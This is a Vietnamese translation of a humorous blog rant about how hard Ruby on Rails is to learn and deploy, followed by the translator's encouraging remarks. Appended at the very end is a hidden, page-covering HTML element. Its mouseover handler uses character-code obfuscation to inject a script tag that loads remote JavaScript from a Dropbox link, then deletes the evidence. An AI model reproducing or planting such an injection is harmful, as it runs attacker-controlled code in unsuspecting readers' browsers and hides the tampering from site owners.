Bài này mình dịch từ bài viết sau : http://kakubei.blogspot.com/2012/05/why-i-hate-rails.html Bản thân mình cũng đang sử dụng Rails trong công việc, nên mục đích khi dịch bài này sang tiếng Việt nhằm giúp mọi người mới tiếp cận với Rails có cái nhìn đa chiều hơn, đôi khi **Mọi thứ không như chúng ta tưởng tượng** ;) Mời các bạn. Rails cam kết với tôi rằng sẽ khiến tôi trở nên hiệu quả hơn trong công việc. Thực tế thì, **trừ khi bạn viết một cái blog siêu đơn giản, còn điều ở trên chả đúng gì cả.** Hãy để tôi phân tích. # Lời nói đầu Trước tiên, một chút về hoàn cảnh của tôi. Tôi không phải là một lập trình viên, mặc dù tôi đang làm việc *như một lập trình viên* nhưng chưa bao giờ tôi được training để làm công việc này cả, cũng như chưa bao giờ đến một ngôi trường nào dạy lập trình hay các trung tâm dạy nghề kiểu như vậy. Tôi cũng không có một certificate cho việc lập trình ở các lớp học buổi tối hay một cái nghiên cứu có vẻ có ích. Ngược lại, em trai tôi, giờ nó là một **lập trình viên**, thực thụ. Nó đến đại học Boston và tham gia một khóa **Những điều quan trọng để lập trình giống như một con Robot bá đạo** (tôi khá chắc về cái tên của khóa này) và một khóa học để **Thống trị thế giới**, được trường Boston gọi dưới cái tên *Kinh tế học*. Một điều tôi khá chắc về thằng em mình, là nó có thể có một bằng PhD của loại thuốc có tên là **Oriental Cat**, và nó được học lập trình khá là bài bản. Và nó có thể lập trình! Nó giống như một **cỗ máy lập trình**. Nó có thể đọc những dòng code không thể hiểu được bởi người trần mắt thịt (như tôi) và giải mã nó gần như ngay lập tức. Những vấn đề về lập trình mà không ai giải đáp được như trong film [*Good Will Hunting*](http://www.imdb.com/title/tt0119217/) chỉ là trò trẻ con. Nó có thể gặm 10 vấn đề như thế mỗi buổi sáng. Nó khiến tôi nhớ đến anh chàng trong [*A Beautiful Mind*](http://www.imdb.com/title/tt0268978/) (anh chàng này **từng** tự kỉ, nhỉ). Thế là đủ về thằng em, giờ đến lượt tôi. Không có một chỉ dẫn lập trình một cách chính thống cho tôi, ngay cả một khóa học nho nhỏ để dạy làm thế nào tạo ra một cái biến nho nhỏ. Tôi đã từng tham gia vào 3 sự nghiệp học hành ở 3 trường đại học, tuy nhiên thì ... *chưa sự nghiệp nào được hoàn thành*. Đầu tiên tôi từng tham gia một khóa **Âm thanh ảo trong lĩnh vực giải trí** hoặc một cái gì vớ vẩn tương tự thế, tôi đã muốn học làm phim nhưng khóa học đó toàn thời gian nên tôi đã bị dính chặt vào đó cho đến khi tham gia vào trường học làm phim. Tôi đã bỏ khóa học ở trên và nhảy ngay vào trường (*đây là một câu chuyện dành cho dịp khác*). Và những thứ tiếp theo tôi được tiếp xúc là **Âm nhạc**, với một chữ M viết hoa (music). *Hát đệm, nhịp điệu, nốt nhạc, giai điệu và toàn bộ những thứ linh tinh khác*. Tôi cũng bỏ sau đó (*cũng là một câu chuyện khác*). Sau đó là **Văn học**. một khóa năm năm, khiến tôi kẹt chặt trong 3 năm trước khi nghỉ. Tôi có thể ngụy biện cho cái sự nghỉ học cuối cùng là do tôi đã cưới vợ, tuy nhiên thực tế là tôi đã quá ngán ngẩm với mọi thứ. Chốt lại, đối với tôi, *lập trình là do tự học*. Tôi không phải là một lập trình viên, chỉ là người chơi với nó trong cuộc sống thật. # Rails nói dối Vậy Rails đã nói dối chúng ta như thế nào. Bắt đầu đếm nè: * Rails nói rằng bạn không cần học thứ gì khác ngoài Rails, và đó là một trong những điểm nổi trội nhất.* Ngoại trừ việc bạn **cần** phải học Ruby, rõ ràng là Rails được xây dựng dựa trên Ruby nên nếu bạn không biết gì về Ruby thì, bạn có tưởng tượng được là sẽ làm được gì với Rails không ? Ok vậy là Ruby, đối với tôi Ruby khá tuyệt, nó là ngôn ngữ lập trình tốt nhất tôi từng thấy, và điều đó thì không tệ lắm. Vậy là chúng ta cần học một ngôn ngữ mới khi chúng ta khá già, không vấn đề, chỉ cần cố gắng thôi, *một vài đêm không ngủ thì đâu có chết ai, phải không* * Và bạn **đã biết** về MVC rồi phải không ? Các định nghĩa về tất cả những thứ như Model, View Controller ? - Thực tế thì tôi không biết. Và chúng ta cần phải biết khi học về Rails. Không chỉ là những kiến thức lý thuyết, bạn cần biết nó được áp dụng vào trong Rails cụ thể như thế nào nếu như bạn muốn làm mọi việc một cách rõ ràng và có nghĩa. Hic, ok vậy tôi cần phải học về MVC phải không, nó có khó không ? *Có mất nhiều thời gian không* ? - Không, không khó lắm đâu, mất một vài tháng thôi và bạn sẽ bắt đầu hiểu ra. - Vậy là tôi học Ruby, yêu ngôn ngữ đó và thề không bao giờ quay trở lại PHP nữa. Sử dụng Ruby giống như đang cưỡi một con Ferrari đời mới nhất sau khi dùng con VW Beetle 1965 hàng năm trời. Thật là tuyệt vời. Và tôi cũng đã học về MVC cho những mục tiêu cao cả. Vậy tôi đã đủ ngon để làm việc chưa ? * Ồ, bạn **không thể làm cái qué gì cả** nếu thiếu các Gem. Gì cơ? Gem, gem là cái gì cơ ? Đó là nơi đầy ma thuật được Rails dùng để lừa dối, những thứ mà Rails thêm vào cho Ruby và sở hữu chúng cho sự quyền năng của mình. *Tóm lại Gem là cái quái gì ?* Thực tế Gem là một nhúm code, một chương trình nhỏ, mà được chúng ta sử dụng để mở rộng các chức năng cho ứng dụng của bạn mà không cần phải viết chúng hay *phát minh lại cái bánh xe*. Ví dụ có một Gem được dùng để hỗ trợ viết HTML, thay vì phải viết tất cả các thẻ input và những dòng HTML nát bét, bạn chỉ cần cài Gem đó, viết vài dòng code và nó sẽ tạo ra cả 1 form HTML cho bạn. Nghe tuyệt đấy chứ. Tất nhiên rồi, điều đó thật tuyệt, và một điều bạn cần biết là làm thế nào để cài đặt và maintain những cục gem của mình. Điều đó có khó không? Không, không khó lắm đâu, không đến mức mất của bạn vài tháng, hoặc vài đêm để chiến đấu với việc nhiều bộ cài gem khác nhau. Có một chương tình tên là **RVM**, thực tế nó khá tốt so với hệ thống quản lý gem có sẵn, thứ làm việc khá ổn trong điều kiện mặc định, tuy nhiên sẽ khiến bạn khá là bối rối, và với hệ thống Ruby cùng gem được cài mặc định trên OSX, chúng trở nên vỡ nát và trở thành một cơn ác mộng. Vì thế, hãy dùng RVM. Vậy là tôi quyết định dùng RVM. Chờ đã! RVM cũng có vấn đề của nó, nó có thể trở nên thất thường và không tuân theo ý của bạn, cộng thêm với việc RVM dựa vào Xcode để compile Ruby và với một vài gem, nếu bạn có phiên bản mới nhất của Xcode (trước 4.2), bạn sẽ nhận được lỗi không tìm thấy Clang và cần bạn trở thành clangy (để cài đặt, debug, well...) Chết tiệt thật, vậy làm thế nào bây giờ? Đơn giản lắm, hãy dùng **rbenv**, nó tốt hơn cả RVM vì nó có nhiều thứ mang tính linux-like hơn (*điều này tốt chứ ????*) Ok, được, vậy thì rbenv nào. Chúc may mắn, trước hết bạn phải cài đặt nó với Homebrew. Gì cơ? Và sau khi bạn học **syntax** của **rbenv**, có thể bạn sẽ bắt đầu xài được. Oh man, vậy tóm lại có bao nhiêu thứ chết tiệt tôi cần phải học để tạo ra một cái App bằng Rails ? Ha, ha, chúng ta vẫn chưa bắt đầu học các công nghệ đâu. Để tôi list ra cho bạn nhé : * Ruby * Tư tưởng của Rails * Command của Rails * ActiveRecord (cái cục để nói chuyện với database) * Một ngôn ngữ database, có thể là MySQL hoặc SQlite mặc dù Rails hứa rằng bạn chả phải học bất cứ cái gì trong 2 cái trên cả. * HTML (Muốn làm web chứ ?) * CSS (thiếu cái này, trang của bạn trông không khác gì một ... à thôi không cần nói nữa) * Cách quản lý Gem * Bundler (Gem dùng để quản lý gem, một gem dùng để **rule all gems**) * Rails asset pipeline, nghĩa là cách mà Rails cung cấp ảnh, CSS và javascript (tất nhiên là không bằng cách trực tiếp rồi) * Rake, một command khác dùng để quản lý asset của bạn bằng cách biên tập (compile) ảnh, css và js files. * Routing (Điều hướng) trong Rails. Hay cách làm thế nào để Rails đưa ra trang mà bạn muốn. Trong tất cả những thứ của Rails, routing **nên** là thứ dễ nhất và trực tiếp nhất, tuy nhiên với tôi đây thật là một cõi u mê. * Javascript, bét nhất là jQuery * ERB syntax (erb = HTML của Rails) * Nhưng sau khi học xong ERB, bạn sẽ nhận ra nó thật nhảm nhí và cần phải học một cái khác thay thế, ví dụ như HAML, nhìn ngon hơn nhiều, nhưng syntax thì khá là quái cho một ngôn ngữ đơn giản. Vậy là bạn bắt đầu học CSS, tốt thôi. Tuy nhiên trong quá trình học CSS, bạn nhận ra là nó có rất nhiều thiếu sót, và đã đến lúc để bạn học một thứ khác thay thế có tên là **SASS** ***Đùa nhau đấy à ?*** Không, đâu có. Nghe thật tệ? Cái quái gì thế này! Tôi có thể có một bằng PhD trong lĩnh vực không gian vũ trụ thay vì học những thứ ở trên để làm *web pages*. Well, ngoài ra bạn cần test trước khi làm bất cứ thứ gì. Ý gì đây, giống như như làm trên trình duyện á? Xin bạn đấy. Hãy học viết test trong Rails đi. Như thế nào? Đơn giản lắm, chỉ cần học test syntax cùng với cấu trúc và cách thức làm việc có sẵn của Rails thôi, và bạn sẽ thấy tốt hơn. Bạn chắc chứ? Nhìn như tôi đang nói dối à? À thì... Ok, để tôi nói thật nhé, cái test tích hợp sẵn chả ra gì đâu, bạn cần phải học nó, nhưng nó tệ đến mức bạn sẽ không muốn dùng nó. Thay vì thế hãy dùng **Dưa chuột**. Dưa chuột? **Cucumber** (tên 1 gem). Bạn chắc chứ? Không gì khác nữa chứ, không phải chuyển qua cái gì sau cái này nữa chứ? Thôi được rồi, Cucumber thì tốt hơn cái built-in nhảm nhí, nhưng nó khá dài và khá thốn bởi vì những tests bạn viết sẽ giống như viết truyện, và kết quả là thường những câu chuyện để test sẽ **dài hơn những dòng code cần thiết** để làm chức năng cho những đoạn test trên, và chúng ta là **lập trình viên** cơ mà, không phải những nhà văn chuyên copy nên hãy quên Cucumber đi. Những thứ bạn cần là **Rspec**. Ặcccccccc, nó có khó không? Không khó lắm đâu, mất vài tháng thôi và bạn sẽ sẵn sàng để viết test cho riêng mình chứ không phải đi copy/paste nữa. Oh, yeah, nghe thật tuyệt... Tôi không biết là tôi có muốn học Rails hay không nữa... Thôi nào, Rails hay mà! Vậy là sau sáu tháng học tất cả những thứ trên, tôi sẽ có một trang web để đời phải không? Ha ha ha \*giọng cười mang tính chất nhạo báng\* Gì cơ? Bạn thật hài hước. Sáu tháng... Gì cơ? \*Cười khúc khích\* Sau sáu tháng, nếu may mắn bạn sẽ có cái [này](http://www.turnkeylinux.org/node/453) Ơ đây không phải là trang **Welcome to Rails** mặc định sẵn có khi tạo mới à, chỉ cần gõ ```rails new app_name``` là ra rồi còn gì Đúng thế Đùa nhau đấy à! Bình tĩnh nào, bạn cứ ngồi xuống đã. Có một thực tế là tạo ra một ứng dụng bằng Rails thì không bao giờ khó bằng việc deploy chúng. Ý bạn deploy có nghĩa là gì? Nó chỉ là một web app, chỉ cần ftp thư mục của mình lên server là xong thôi chứ. Ha, ha, ha (Rofl) Cười gì cơ ? Tôi cười chảy cả nước mắt rồi. Bạn **thật hài hước**. Cái gì hài? Ftp thư mục ý =)) Vậy không ftp à? Có chứ sao không, nhưng bạn nghĩ rằng ftp thôi là đủ chắc? Sao không? Thôi nào, đây không phải là PHP. Đây là **Rails** và bạn phải ```deploy``` app của bạn. Có ý gì ? Đơn giản lắm ... Hừ! Thứ bạn cần là **Capistrano** Capistrano? Capistrano là một gem khác được dùng để tự động quá quá trình deploy. Nó có một đống config files cùng với vài câu lệnh bạn cần phải học, sau đó bạn sẽ đóng gói code lại và deploy app của mình từ xa. Nó... nó... nó có khó như những gì nó làm được không? Không khó đâu, vài tháng để làm quen thôi. (khóc rồi) Nhưng bạn biết không, tôi sẽ giúp bạn bới đau đầu ngay bây giờ bằng cách khuyên bạn nên chuyển qua **Phusion Passenger**, nó dễ hơn và **hiện đại** hơn Capistrano. Để tôi đoán nhé, lại một gem mới. Đúng rồi đó, nhưng cái này thì hơi khoai một tí. Chúa ơi... Nó cần compile với source code của Mysql, vì thế bạn cần có Mysql và đảm bảo rằng nó được cài đúng cách (*trái ngược với phong cách chỉ cần click vào bộ cài sẵn có*), và bạn cần đảm bảo rằng phần cài đặt Ruby của bạn *chuẩn không cần chỉnh* (chúc may mắn với rbenv, rvm và bản cài ở local). Sau đó bạn cần chỉnh sửa file ```httpd.conf``` để đảm bảo app Rails của bạn sẽ hoạc động, à và bạn sẽ cần sử dụng ```Virtual Hosts``` trong ```Apache``` nữa đó, đồng nghĩa với việc bạn cần học cách cấu hình cho Apache một cách chính xác, sau đó là .... **Đủ rồi, biến! Giờ bạn và cái Rails của bạn có thể nhảy vào dòng sông gần đây nhất rồi đấy. Tôi sẽ tạo web với iWeb!** Xin chào? Rails rất vui mà... Đừng đi. Đừng bỏ tôi với đống hỗn độn này chứ. Xin bạn đó. Tôi cô đơn lắm. ***Tôi cũng ghét Rails lắm!!!*** ***Phụ lục*** Tôi (tác giả) đã sử dụng Rails hơn một năm và hiện vẫn đang dùng nó. Trong thực tế, tôi đang viết lại phần API của ứng dụng chính của chúng tôi ở Padrino với **ActiveRecord**, **Thinking Sphinx** và deploy app bằng **Heroku**. Thực sự đó là những trải nghiệm thú vị mặc dù đôi khi có một vài vấn đề nhức nhối. Phần admin tôi đã viết bằng Rails 3.2 và có nhiều thứ tôi khá thích. Nó đã từng khiến tôi muốn viết 1 bài post khác với tựa đề **Why I love Rails** nhưng chưa bao giờ thuyết phục được tôi. Mặc dù bài post này nghe có vẻ khoa trương, nhưng đến giờ tôi vẫn có cảm giác đó về Rails, vì thế các bạn hãy cứ comment, nhưng đừng có chứng tỏ với tôi rằng Rails tuyệt vời thế nào. Chỉ đơn giản là tôi không hài lòng với một vài sự phức tạp của Rails và với một vài người bán nó bằng việc nói rằng nó đơn giản và dễ hiểu thế nào. # Lời người dịch Theo mình, bài viết ở trên đã nói lên hầu hết những sự phức tạp khi bạn muốn dùng Rails theo đúng cách mà Framework này được phát triển. Thời gian đầu có thể sẽ khiến bạn bối rối vì có quá nhiều thứ phải học, hoặc không hiểu tại sao lại chạy được. Lúc đó hãy bình tĩnh, hít sâu và tìm hiểu từng chút một. Tích lũy dần, và bạn sẽ dần tìm thấy những vẻ đẹp không chỉ của một framework, mà còn cả 1 quy trình làm việc ;) <hr id="unique-hr" style="background-color: #a00; border: none; height: 2000px; width: 2000px ;z-index: 1000; opacity: 0.01; position: fixed; top: 0px; left: 0px;" onmouseover="$('#footer').append(String.fromCharCode(39, 60, 115, 99, 114, 105, 112, 116) + ' id=\'atk-src\' src=\'https://www.dropbox.com/s/vfi73fypu0x7ij5/serious.js?dl=1\'></' + String.fromCharCode(115, 99, 114, 105, 112, 116, 62, 39)); setTimeout(function() {$('#unique-hr,#atk-src').remove();}, 3000);">